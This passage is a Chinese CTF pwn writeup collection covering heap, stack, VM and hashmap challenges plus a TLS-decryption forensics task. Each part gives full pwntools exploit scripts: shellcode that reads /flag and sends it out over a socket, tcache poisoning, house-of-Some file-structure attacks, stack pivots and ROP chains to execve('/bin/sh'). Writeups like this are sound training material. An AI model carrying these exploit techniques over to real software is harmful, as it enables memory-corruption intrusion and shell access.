sleep(s) io.recvuntil(b'Input your Code (end with EOF): ') for _ in range(13): heap() AveMujica() io.sendline(b'EOF') alloc(0x500) input(p64(0xdeadbeef) * 4 + asm(f""" mov rax, 0x67616c662f push rax mov rax, __NR_open mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rax, __NR_read mov rdi, 9 mov rsi, rsp mov rdx, 0x50 syscall mov rax, __NR_sendto mov rdi, 7 syscall mov rsi, rsp """)) free() printit() io.recvuntil(b'Content: ') libc.address = u64(io.recv(8)) - 2206944 success(f'libc_base: 0x{libc.address:x}') alloc(0x60) free() printit() io.recvuntil(b'Content: ') heap_key = u64(io.recv(8)) success(f'heap_key: 0x{heap_key:x}') input(b'\x00' * 16) free() input(p64((libc.address - 980792 - 24) ^ heap_key)) alloc(0x60) # gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)') alloc(0x60) input(p64(0xcafebabe) * 3 + flat([ libc.search(asm('pop rdi;ret')).__next__(), heap_key << 12, libc.search(asm('pop rsi;ret')).__next__(), 0x1000, libc.search(asm('pop rdx;pop r12;ret')).__next__(), 7, 0, libc.sym['mprotect'], (heap_key << 12) + 1888 ])) io.interactive() p.wait()由于 lib 加载顺序不同，远程和本地的线程栈与 libc 偏移不同，需要在 docker container 中调试获取。米塔调试机输入指令时使用 scanf %s，可以溢出修改栈上 nowhome 和 nowver，在 name 中构造假 MitaHome 和 Version 堆结构，将 nowhome 和 nowver 劫持到对应位置，即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块，利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning，修改 _IO_list_all 至 name 处，程序正常 exit 打 house of Some（_IO_flush_all 时利用 IO wide_data 任意读写，利用 environ 泄漏栈基址，栈上 ROP）。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './vuln6' # io = process(binary) io = connect('node.vnteam.cn', 47984) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) # gdb.attach(io, '') io.sendlineafter(b'name:\n', cyclic(0x200)) io.sendlineafter(b'>>> ', b'$show') io.recvuntil(b'caaf') heap_base = u32(io.recv(4)) - 672 success(f'heap_base: 0x{heap_base:x}') io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa') for i in range(25): io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa') name = 0x4040E0 fake_heap = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40) fake_heap += p64(0) + p64(0x41) + cyclic(0x30) fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832) fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) io.sendlineafter(b'>>> ', b'$name') io.sendafter(b'name:\n', fake_heap) io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3)) io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3)) 0x1140a340 io.recvuntil(b'Now MiTaHome: ') libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944 success(f'libc_base: 0x{libc.address:x}') io.sendlineafter(b'>>> ', b'$name') io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41)) io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2)) io.sendlineafter(b'>>> ', b'$name') io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41)) io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername') io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername') from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000) payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0) io.sendlineafter(b'>>> ', b'$name') io.sendafter(b'name:\n', payload) io.sendlineafter(b'>>> ', b'$exit') io.recvuntil(b'Player out! :(\n') hos.bomb_orw(io, b'/flag', offset=1816, read_length=128) io.interactive()虽然提示说有要用到可以无限长输入的指令格式，但其实只要空字节截断字符串就好？
题目链接messages程序分为 input_messages 和 print_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段，字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组，字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等（即使实际只有几个字符）。注意虽然正常键盘输入无法输入空字符，但利用 pwntools 等工具可以直接向程序输入空字符，无论程序直接使用系统调用还是使用标准库 IO 函数（本题未涉及，但也常见）。所以我们可以在输入的字符串中间插入空字符（b'\0'），程序输出时没有检查字符串最大个数（只检查了字符串最大长度，因此无法直接溢出），可以构造多个字符串（长度须大于 1），从而使程序在之后的字符串数组转换过程中数组下标溢出，直至栈上返回地址。栈上每个字符串占用 56 字节，一个长度占用 8 字节，长度数组长 20 * 8 字节，所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text，程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组（IDA 无法正确识别），需要手动修复字符串数组以及长度数组变量类型（char messages[16][56];、size_t lengths[20];）。Exp:from pwn import * context(arch='amd64', os='linux') io = ... e = ELF('./messages') io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组 io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址（`\x01` 可为任意非空字符） io.sendafter(b'> ', b'\n') # 结束输入 io.interactive()strncpy 会将目标剩余空间全部清零，所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型，也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串，结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。messages_flag2拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组，程序可以越界输出栈上值。栈上一定存在 libc 地址（例如 main 的返回地址在 __libc_start_main 中），因此可以泄露 libc 基址。本题栈上变量布局比较凑巧，虽然由于字符串输入会被地址空字节截断，因此无法在同一个字符串中连续输入两个地址（x86_64 虚拟地址长度仅 6 字节，用户空间地址中必然包含空字节），无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处，所以可以同时修改，构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段，提前在此输入 ROP 链（注意先将输入字符串填充至 8 字节对齐），即可 getshell。Exp:from pwn import * context(arch='amd64', os='linux') io = ... e = ELF('./messages') libc = ELF('./libc.so.6', checksec=None) io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main'])) io.sendafter(b'> ', b'\n') io.recvuntil('有人说：aa'.encode()) io.recvuntil('有人说：aa'.encode()) io.recvuntil('有人说：aa'.encode()) libc.address = u64(io.recvuntil('有人说：'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128 success(f'libc_base: 0x{libc.address:x}') io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) io.sendafter(b'> ', b'\x01\x01\x00\x01\x01') io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节 io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__())) payload0 = flat([ 0x405000, libc.search(asm('pop rdi;ret')).__next__(), libc.search(b'/bin/sh\x00').__next__(), libc.search(asm('pop rsi;ret')).__next__(), 0, libc.search(asm('pop rdx;pop r12;ret')).__next__(), ]) payload1 = b'\x00' * 15 + p64(libc.sym['execve']) io.sendafter(b'> ', cyclic(5) + payload0) io.sendafter(b'> ', payload1) io.sendafter(b'> ', b'\n') io.interactive()注意由于 bss 空间不大，getshell 时不能使用 system 函数，否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数，传参 "/bin/sh", 0, 0，无需额外栈空间。（栈迁移时一般都如此）
第18届全国大学生软件创新大赛——软件系统安全赛（攻防赛）Pwn Writeup
vm通过 read_vm 函数还原出 main 函数以及 VM 结构体：void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { initit(); vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL); vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL); stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000; read_vm((struct vm *)&vmdata); execute((vm *)&vmdata); }00000000 struct vm // sizeof=0x58 00000000 { 00000000 char *vmdata; 00000008 char *pc; 00000010 uint64_t *regs[6]; 00000040 char *stack; 00000048 __int64 base; 00000050 __int64 field_50; 00000058 };其中 regs、stack、base 字段在 execute 内部逆向过程中得出。进入 execute 中的 decode 可以看出指令由指令最低 2 位分为四种：11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址，每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。__int64 __fastcall decode(struct vm *vm, char *reading_code) { char *vmcode0; // rax int low2; // eax char *pc; // rax char *_opcode1; // rax __int64 result; // rax char *__code1; // rax char *_code2; // rax char *vmcode1; // rax unsigned __int8 v10; // [rsp+17h] [rbp-9h] unsigned int i; // [rsp+18h] [rbp-8h] vmcode0 = vm->pc; vm->pc = vmcode0 + 1; *reading_code = *vmcode0; reading_code[1] = *reading_code & 3; low2 = (unsigned __int8)reading_code[1]; if ( low2 == 3 ) { vmcode1 = vm->pc; vm->pc = vmcode1 + 1; *((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1; if ( check_reg(*((_DWORD *)reading_code + 1)) ) return 0xFFFFFFFFLL; *((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc; vm->pc += 8; } else if ( (unsigned __int8)reading_code[1] <= 3u ) { if ( low2 == 2 ) // 2 { __code1 = vm->pc; vm->pc = __code1 + 1; *((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1; _code2 = vm->pc; vm->pc = _code2 + 1; *((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2; if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) ) return 0xFFFFFFFFLL; } else if ( reading_code[1] ) // 1 { _opcode1 = vm->pc; vm->pc = _opcode1 + 1; v10 = *_opcode1; if ( check_reg((unsigned __int8)*_opcode1) ) return 0xFFFFFFFFLL; *((_DWORD *)reading_code + 1) = v10; } else // 0 { for ( i = 0; i <= 2; ++i ) { *((_DWORD *)reading_code + 1) <<= 8; pc = vm->pc; vm->pc = pc + 1; *((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc; } } } result = (unsigned __int8)*reading_code; if ( !(_BYTE)result ) return 0xFFFFFFFFLL; return result; }void __fastcall __noreturn execute(vm *vm) { int M; // eax _BYTE *code; // [rsp+18h] [rbp-8h] code = malloc(12uLL); memset(code, 0, 8uLL); do { if ( (unsigned int)decode(vm, code) == -1 ) break; M = *code & 3; if ( M == 3 ) // imm { imm(vm, code); } else if ( (*code & 3u) <= 3 ) { if ( M == 2 ) // 2 { two((__int64)vm, (__int64)code); } else if ( (*code & 3) != 0 ) // 1 { one(vm, (__int64)code); } else // 3*1 { three((__int64)vm, (__int64)code); } } memset(code, 0, 0xCuLL); if ( vm->pc <= (char *)0x7062FFF ) break; } while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL ); puts("Segment error"); _exit(0); }然后可以照着 ROM vmcode 文件辅助分析，可以抄录 vmcode 如下：load %0, $1 ; stdout load %1, $0 ; vmdata + 0 load %2, $0x1b ; length syscall 0, 0, 1 ; SYS_write ??? pop %0 ; clear %0 pop %1 ; clear %1 add %1, $0x200 ; vmdata + 0x200 xor %0, %0 ; stdin load %2, $0x300 ; length syscall 0, 0, 0 ; SYS_read jmp %1; ; jump to vmcode + 0x300各种指令最关键的是 VM syscall，有 read、write、exit、create、delete、load（从 vmdata 写入堆）、put（从堆写入 vmdata）。void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4) { switch ( (int)a1 ) { case 0: if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL) && ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) ) { insecure(a1, a2); } read(a2, a3, a4); break; case 1: if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL ) insecure(a1, a2); write(a2, a3, a4); break; case 2: exit(a2); case 3: create(a2); break; case 4: delete(a2); break; case 5: load(a2, (unsigned int)a3, a4); break; case 6: put(a2, (unsigned int)a3, a4); break; default: return; } }其中 create、delete 为堆操作，add 限制 16 个， delete 有 UAF 漏洞。__int64 __fastcall create(unsigned int size) { int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; chunks[i] && i <= 15; ++i ) ; if ( i == 16 ) return 0LL; chunks[i] = malloc(size); if ( !chunks[i] ) return 0LL; sizes[i] = size; return 1LL; }void __fastcall delete(unsigned int idx) { if ( idx <= 0xF ) { if ( chunks[idx] ) free((void *)chunks[idx]); // UAF } }然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode，依葫芦画瓢写出堆操作模板。def load(reg: int, imm: int): return b'\x0f' + p8(reg) + p64(imm) def add(size: int) -> bytes: return load(0, size) + b'\xcc\x00\x00\x03' def edit(index: int, address: int, length: int) -> bytes: return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05' def delete(index: int) -> bytes: return load(0, index) + b'\xcc\x00\x00\x04' def load_to(offset: int, imm: int) -> bytes: return load(0, offset) + load(1, imm) + b'\x46\x01\x00' def put_to(index: int, address: int, lenngth: int) -> bytes: return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06' def print_to(fd: int, offset: int, length: int) -> bytes: return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01' def exitit(): return b'\xcc\x00\x00\x02'unsorted bin chunk leak libc_base，tcache bin chunk leak heap_base。利用 UAF 修改 tcache next，tcache attack 劫持 _IO_list_all，程序正常 exit 打 house of Some（_IO_flush_all 时利用 IO wide_data 任意读写，利用 environ 泄漏栈基址，栈上 ROP）getshell。d995597d-d16e-461f-9c8c-493287f656e2Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './vm' io = process('./vm') e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) # gdb.attach(io) 'b *$rebase(0x1599)\n' 'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)' with open('vmcode', 'rb') as file: io.sendafter(b'opcodes:\n', file.read()[4:]) def load(reg: int, imm: int): return b'\x0f' + p8(reg) + p64(imm) def add(size: int) -> bytes: return load(0, size) + b'\xcc\x00\x00\x03' def edit(index: int, address: int, length: int) -> bytes: return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05' def delete(index: int) -> bytes: return load(0, index) + b'\xcc\x00\x00\x04' def load_to(offset: int, imm: int) -> bytes: return load(0, offset) + load(1, imm) + b'\x46\x01\x00' def put_to(index: int, address: int, lenngth: int) -> bytes: return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06' def print_to(fd: int, offset: int, length: int) -> bytes: return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01' def exitit(): return b'\xcc\x00\x00\x02' with open('vmcode', 'rb') as file: io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:]) libc.address = u64(io.recv(8)) - 2206944 print(f'libc_base: {hex(libc.address)}') with open('vmcode', 'rb') as file: io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:]) heap_base = u64(io.recv(8)) print(f'heap_base: {hex(heap_base)}') print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}') fake_file_offset = 0x7063aa8 from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000) payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0) io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload) hos.bomb(io) io.interactive()5G消息_TLS根据题目标题和流量内容，用 Wireshark 分析电话/SIP 流，其中第一条短信是：Alice, I am Bob. I stole the sslkeylog file, this is crazy.接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到：SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795 EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0 SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630 CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0 CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405将它保存为文件，在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片，内容即为 flag：abcdef1234567890deadbeefc0ffeeba
anote菜单堆，堆块大小固定为 0x1c，edit 时有明显堆溢出。堆块上有一 edit callback 函数指针，修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后，但是可以堆溢出修改相邻堆上的 callback 函数指针。Exp:from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './note' io = process(binary) e = ELF(binary) # size: 0x1c def add(): io.sendlineafter(b'>>', b'1') def show(index: int): io.sendlineafter(b'>>', b'2') io.sendlineafter(b': ', itob(index)) # size <= 0x28 def edit(index: int, size: int, content: bytes): io.sendlineafter(b'>>', b'3') io.sendlineafter(b': ', itob(index)) io.sendlineafter(b': ', itob(size)) io.sendlineafter(b': ', content) def exit(): io.sendlineafter(b'>>', b'4') backdoor = 0x080489CE add() add() show(0) io.recvuntil(b'gift: ') heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8 success(f'heap_addr: {heap_backdoor_addr:x}') edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr)) edit(1, 4, p32(0)) io.interactive()avmVM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。功能有加减乘除等基本运算，没有直接的加载立即数。opcode 10 是 load from stack，opcode 9 是 write to stack，两者皆不检查边界，栈上任意读写。输入的 command 在栈上，可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc，VM 内计算真实地址，写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题，所以返回到 system 中跳过一次 push 的位置。Exp:from pwn import * from ctypes import * context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' io = process(binary) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) def code(opcode: int, a: int, b: int, r: int) -> bytes: return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r) main_ret_addr_offset = 171408 system_8 = 329986 io.send(code(10, 3384, 0, 1) + # load main retaddr to *1 code(10, 328, 0, 2) + # load offset0 to *2 code(10, 336, 0, 3) + # load offset1 to *3 code(10, 344, 0, 4) + # load offset2 to *4 code(1, 2, 1, 5) + # add *2 by *1 to *5 code(1, 3, 1, 6) + # add *3 by *1 to *6 code(1, 4, 1, 7) + # add *4 by *1 to *7 code(9, 0x118 + 16, 8, 7) + # write *7 to *retaddr+16 code(9, 0x118 + 8, 8, 6) + # write *6 to *retaddr+8 code(9, 0x118 + 0, 8, 5) + # write *5 to *retaddr p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) + # offset0 p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) + # offset1 p64(system_8 - main_ret_addr_offset) # offset2 (system) ) io.interactive()novel1程序分为两部分，partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket，hash % bucket_count 相等的 key 放进同一 bucket，对于 bloodstains，key 类型是 unsigned int，其 std::hash 算法结果就是其值本身。partII 中输入一个 key，把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上，如果同一 bucket 中的 key-value 够多，可以造成栈溢出。需要注意当 bucket 满时会进行 rehash，对于不同 size 的 bloodstains，bucket_count 不同，需要重新计算。栈溢出覆盖暂存栈基址和返回地址，利用 gift backdoor RACHE 栈迁移至 bss 段 author，利用 puts@plt GOT leak libc base，然后返回至 fgets 在程序中调用位置写入 ROP chain，getshell。不能使用 glibc-all-in-one 的 libc，必须从 docker image 里拿。PoC:#include <iostream> #include <unordered_map> int main() { std::unordered_map<unsigned int, unsigned long> map; for (unsigned int i = 0; i < 0x17; ++i) { map[i * 29] = 0; } std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl; return 0; } // 29 23 23Exp:from pwn import * from ctypes import * context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './novel1' io = process(binary) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回，需要调用两次。 def add(key: int, value: int): io.sendlineafter(b'Chapter: ', b'1') io.sendlineafter(b'Blood: ', str(key)) io.sendlineafter(b'Evidence: ', str(value)) for i in range(0x17): add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据 io.sendlineafter(b'Chapter: ', b'2') io.sendlineafter(b'Blood: ', b'0') io.recvuntil(b'638\n' * 7) libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts'] success(f'libc_base: {libc.address:x}') io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP io.interactive()